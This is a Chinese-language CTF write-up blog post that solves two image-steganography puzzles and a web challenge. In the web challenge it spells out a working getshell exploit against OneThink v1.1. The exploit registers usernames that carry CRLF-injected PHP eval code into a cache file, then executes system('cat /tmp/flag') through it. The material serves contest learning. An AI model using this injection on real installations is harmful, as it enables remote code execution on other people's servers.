额,上午驾校学车,中午打了会儿安恒的月赛,就来看巅峰极客的题了。时间关系实力原因没做几个emmmm太菜了wa
MISC-warmup-100pt
拿到一个bmp文件,套路走一波,右键查看属性emmm啥都没有。
丢到winhex里面也没有什么明显的提示或者信息。
放大招:stegsolve。放在各个颜色通道里面过一遍。
可以明显的看到每个颜色通道的最低位有异常数据。
将数据提取出来
前两个ook解码,第三个brainfuck解码之后拼接起来就是flag。
在线解密网址:https://www.splitbrain.org/services/ook
flag{db640436-7839-4050-8339-75a972fc553c}
MISC-LOLI-150pt
拿到一张文件后缀是png但是实质是jpg的图片。看起来像是二维码。扫一下发现:
tips:255
255是啥意思呢?当时就想到最低位,像素点之类的词汇。放到stegsolve里面跑一下也没发现什么端倪。
最后题目给出提示:0xff
这里有点脑洞了,将图片转16进制和0xff异或,也就是将图片的16进制取反。
这里我直接用winhex的异或功能,《用winhex进行一步异或》
然后可以找到里面有一张小png图片,最后还有一个black and wihite 的字符串。
图片由黑点和白点组成。但是就想到了二进制,像素点再转为二进制再转ascii码.
flag{e0754197-e3ab-4d0d-b98f-96174c378a34}
WEB-simple cms-300pt
OneThink v1.1的洞。利用点是缓存文件getshell。他会把成功登陆的用户名记录在一个缓存文件中,这里会导致被getshell。
百度做题233333333
这里有几个关键点。
a:缓存文件路径。
b: 用户注册成功并成功登陆。
c:注册登陆须每次抓包url解码后再发包回去
第一点:扫目录得到www.zip下载源码,本地搭起来环境之后得到目录:/Runtime/Temp/onethink_6d11f0be3af9c28d4120c8fd5fe65a40.php
第二点:注册两个用户 %0d%0a$x=$_GET[X];//和%0d%0aeval($x);//
第三点:每次注册和登陆在发包的时候URL-encode 必须勾选上再提交,否则会把换行符的url-encode当成字符串来处理。登陆的时候也需要抓包,在用户名前面加上换行符的URL-encode,且勾选上URL-encode
getshell拿flag。
payload:/Runtime/Temp/onethink_6d11f0be3af9c28d4120c8fd5fe65a40.php?X=system(‘cat /tmp/flag’);
相关推荐: Ubuntu1804安装mysql5.7无法更改root密码问题
Ubuntu1804安装mysql5.7无法更改root密码问题 昨天重装blog,好久没更新了打算发一些本地的笔记出来,就顺手把服务器镜像换了下。换成了ubuntu1804,然后安装mysql是装的5.7版本,发现无论怎么都改不了密码,或者说无论怎么改密码,…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论